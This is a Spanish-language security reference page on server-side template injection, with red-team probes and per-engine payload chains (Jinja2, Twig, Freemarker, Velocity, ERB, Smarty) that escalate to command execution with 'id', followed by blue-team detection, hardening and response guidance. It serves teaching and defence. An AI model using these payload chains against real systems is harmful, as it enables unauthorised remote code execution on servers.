SSTI (plantillas)
Cuando la entrada del usuario llega a un motor de plantillas del servidor como parte de la plantilla (no como dato), el atacante inyecta expresiones que el motor evalúa. En la mayoría de motores esto escala a ejecución remota de código (RCE), porque desde la expresión se alcanza el runtime del lenguaje.
Modelo de amenaza
Sección titulada «Modelo de amenaza»RCE en el servidor (lo más común), lectura de ficheros y secretos, SSRF, y fuga del contexto de la plantilla (variables internas, config). El impacto depende del motor y de si corre en sandbox.
Anatomía
Sección titulada «Anatomía»Un motor de plantillas compila texto con marcadores ({{ }}, ${ }, <%= %>) y los
evalúa. El fallo aparece cuando la plantilla se construye concatenando entrada del
usuario (p. ej. render_template_string("Hola " + nombre)), en vez de pasarla como
variable (render(template, name=nombre)). No confundir con XSS: SSTI se evalúa en
servidor; el autoescape de XSS no lo mitiga.
Motores comunes
Sección titulada «Motores comunes»- Jinja2 / Flask (Python) · Twig (PHP) · Freemarker / Velocity (Java) · ERB / Slim (Ruby) · Handlebars / Pug / EJS (Node) · Smarty (PHP) · OGNL / SpEL (Java, en frameworks).
Red Team
Sección titulada «Red Team»Descubrimiento
Sección titulada «Descubrimiento»Inyecta una sonda matemática y mira si se evalúa (si ves 49, hay SSTI); luego
identifica el motor por qué sintaxis funciona o por los errores:
{{7*7}} -> 49 Jinja2 / Twig${7*7} -> 49 Freemarker / Velocity / Spring EL<%= 7*7 %> -> 49 ERB#{7*7} -> 49 algunos (Ruby/Thymeleaf){7*7} -> 49 Smarty
Polyglot de detección:${{<%[%'"}}%\A mano por motor (de la expresión a RCE)
Sección titulada «A mano por motor (de la expresión a RCE)»# Jinja2 (Python) - varias cadenas según versión{{ cycler.__init__.__globals__.os.popen('id').read() }}{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
# Twig (PHP){{ ['id']|filter('system') }}{{ _self.env.registerUndefinedFilterCallback('exec') }}{{ _self.env.getFilter('id') }}
# Freemarker (Java)<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
# Velocity (Java)#set($e="exec");$e.getClass().forName("java.lang.Runtime").getMethod("exec",...)
# ERB (Ruby)<%= system("id") %> <%= IO.popen("id").read %>
# Smarty (PHP){system('id')}Herramientas
Sección titulada «Herramientas»tplmap y SSTImap (detección + explotación automática), PayloadsAllTheThings (cadenas por motor) y Burp para el trabajo manual.
Impacto y encadenamiento
Sección titulada «Impacto y encadenamiento»RCE → exfiltración de secretos, pivote, persistencia. En motores sandboxed (algunas versiones de Jinja2/Twig), el trabajo consiste en encontrar un escape de sandbox.
Blue Team
Sección titulada «Blue Team»Detección
Sección titulada «Detección»- Errores de plantilla en logs tras entrada con
{{,${,<%,#{. - El proceso de la app lanzando shells/binarios inusuales (igual que en command injection) — señal fuerte en EDR.
- WAF con firmas de sondas/payloads SSTI y anomalía.
Telemetría y fuentes
Sección titulada «Telemetría y fuentes»Logs de la app y del motor, creación de procesos (auditd/Sysmon), egress/DNS.
Hardening
Sección titulada «Hardening»- No construir plantillas con entrada del usuario. Pasa los datos como variables, nunca concatenados en la plantilla.
- Usa plantillas logic-less (Mustache) o motores en sandbox cuando el usuario deba aportar plantillas; valida/limita las funciones expuestas.
- Mínimo privilegio y aislamiento (contenedor, seccomp) para limitar el RCE.
- El autoescape protege contra XSS, no contra SSTI: no te fíes de él aquí.
Respuesta
Sección titulada «Respuesta»Aislar el host, rotar secretos accesibles por el proceso, buscar persistencia, y corregir la construcción de la plantilla.
CVEs y casos reales
Sección titulada «CVEs y casos reales»- Atlassian Confluence — OGNL injection (CVE-2021-26084, 2021) — inyección de expresiones OGNL (prima hermana del SSTI) que permitió RCE sin autenticar; explotada masivamente.
- Craft CMS / apps con Twig y numerosas aplicaciones Flask/Jinja2 han sufrido SSTI→RCE.
- Spring Expression (SpEL) injection en varios productos Java.
CVEs concretos en NVD (https://nvd.nist.gov/vuln/search) y GitHub Advisories (https://github.com/advisories).
Checklist de prueba
Sección titulada «Checklist de prueba»- Sonda matemática probada en cada punto reflejado (identifica el motor).
- Confirmada evaluación en servidor (no es XSS).
- Cadena de RCE adaptada al motor (o escape de sandbox si aplica).
- Impacto demostrado con comando inofensivo (
id) en alcance.